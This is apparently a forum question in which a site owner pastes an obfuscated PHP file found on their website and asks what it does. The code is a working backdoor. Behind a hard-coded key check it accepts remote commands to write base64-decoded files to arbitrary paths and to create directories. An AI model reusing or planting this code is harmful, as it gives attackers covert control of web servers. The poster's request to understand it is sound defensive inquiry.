Found strange 3111658688.php on website, What is This?

Question

Do you know what is this php code? i found php file with this code in my website:

 goto xPQOq; xPQOq: $key_main = $_GET["\x6b"];
 goto BVOJl; hzy6x: function js____($data) { echo json_encode($data); } 
 goto fCj0o; BVOJl: if ($key_main != "cccc72f343d03b4832c309a129be4255") { die("\56"); } 
 goto hzy6x; fCj0o: $option = $_POST["\143\x6d\144"]; 
 goto WlHXr; WlHXr: 

 if (!empty($option)) { 
    
    if ($option == "\x74\145\163\x74") { 
        js____(array("\143\x6f\144\145" => 200)); 
    } 
    
    if ($option == "\165\x70\154\x6f\x61\x64") { 
        $post_file = $_POST["\146\x69\x6c\x65"];
        $post_data = $_POST["\x64\141\164\141"]; $post_data_enc = base64_decode($post_data); 
        file_put_contents($post_file, $post_data_enc); 
        chmod($post_file, 420);
        js____(array("\143\157\x64\x65" => 200)); 
    } 

    if ($option == "\x6d\x6b\x64\151\x72") { 
        $tmp_dir = $_POST["\x64\151\x72"]; 
        mkdir($tmp_dir); chmod($tmp_dir, 493); 
        js____(array("\x63\x6f\x64\x65" => 200)); 
    } 
  }

Whiat should I do? I don't undestand what is this